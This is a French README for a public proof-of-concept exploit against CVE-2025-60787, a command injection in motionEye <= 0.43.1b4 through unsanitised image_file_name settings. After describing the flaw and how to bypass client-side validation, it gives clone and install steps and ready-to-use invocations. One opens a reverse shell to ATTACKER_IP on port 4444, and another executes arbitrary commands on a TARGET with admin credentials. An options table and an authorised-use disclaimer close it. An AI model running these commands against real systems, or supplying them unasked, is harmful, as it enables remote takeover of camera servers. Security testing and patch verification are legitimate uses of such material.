
Python PoC pour CVE-2025-60787, injection de commandes OS authentifiée (RCE) dans motionEye <= 0.43.1b4 via la configuration non assainie de image_file_name
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2025-60787 |
| Score CVSS | 7.2 (Élevé) |
| Type | Injection de commandes OS (CWE-78) |
| Affecté | motionEye <= 0.43.1b4 |
| Corrigé dans | 0.43.1b5 |
motionEye accepte des chaînes arbitraires dans les champs de configuration tels que image_file_name et les écrit directement dans les fichiers de configuration de Motion (/etc/motioneye/camera-*.conf). Lorsque le service Motion redémarre, il interprète ces champs comme des chaînes expansibles par le shell, permettant à un attaquant authentifié d'injecter et d'exécuter des commandes OS arbitraires.
L'interface web inclut une validation côté client pour ces champs, mais cela peut être facilement contourné en envoyant directement des requêtes API malveillantes.
image_file_namecapture_mode: interval-snapshots)requestsgit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
L'exploit prend en charge deux modes : reverse shell et exécution de commandes.
Démarrez un écouteur sur votre machine, puis exécutez :
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
| Option | Description |
|---|---|
--url | URL cible de motionEye (port inclus) |
--user | Nom d'utilisateur motionEye |
--password | Mot de passe motionEye |
-i / --host | IP de l'écouteur (mode revshell) |
--port | Port de l'écouteur (mode revshell) |
-e / --exec | Commande à exécuter (mode commande) |
--camera-id | Cibler un ID de caméra spécifique |
--sh | Utiliser /bin/sh au lieu de /bin/bash |
--no-verify | Ignorer la vérification du certificat TLS |
--proxy | Router le trafic via un proxy (ex. http://127.0.0.1:8080) |
Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. Obtenez toujours une autorisation appropriée avant de tester.
Ce projet est sous licence MIT License.